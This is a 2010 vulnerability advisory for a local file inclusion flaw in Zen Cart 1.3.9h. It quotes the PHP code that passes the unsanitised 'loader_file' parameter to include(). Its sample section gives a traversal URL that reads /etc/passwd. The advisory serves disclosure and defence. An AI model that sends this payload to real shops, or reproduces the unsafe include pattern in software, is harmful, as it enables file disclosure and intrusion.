Zen Cart 1.3.9h Local File Inclusion Vulnerability
2010-11-03 09:15:28Zen Cart 1.3.9h Local File Inclusion Vulnerability
Name Zen Cart
Vendor http://www.zen-cart.com
Versions Affected 1.3.9h
Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-11-03
X. INDEX
I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
I. ABOUT THE APPLICATION
________________________
Zen Cart truly is the art of e-commerce; free,
user-friendly, open source shopping cart software. The
ecommerce web site design program is being developed by a
group of like-minded shop owners, programmers, designers,
and consultants that think ecommerce web design could be
and should be done differently.
II. DESCRIPTION
_______________
A parameter is not properly sanitised before being used
by the include() PHP's function.
III. ANALYSIS
_____________
Summary:
A) Local File Inclusion
A) Local File Inclusion
_______________________
Input passed to the "loader_file" parameter in
includes/initsystem.php is not properly verified before
being used to include files. This can be exploited to
include arbitrary files from local resources via
directory traversal attacks.
Successful exploitation requires that register_globals is
set to On.
The following is the vulnerable code:
<?php
$base_dir = DIR_WS_INCLUDES . 'auto_loaders/';
if (file_exists(DIR_WS_INCLUDES . 'auto_loaders/overrides/' . $loader_file)) {
$base_dir = DIR_WS_INCLUDES . 'auto_loaders/overrides/';
}
include($base_dir . $loader_file);
IV. SAMPLE CODE
_______________
A) Local File Inclusion
http://site/path/includes/initsystem.php?loader_file=../../../../../../../../etc/passwd
V. FIX
______
No fix.
Fixes
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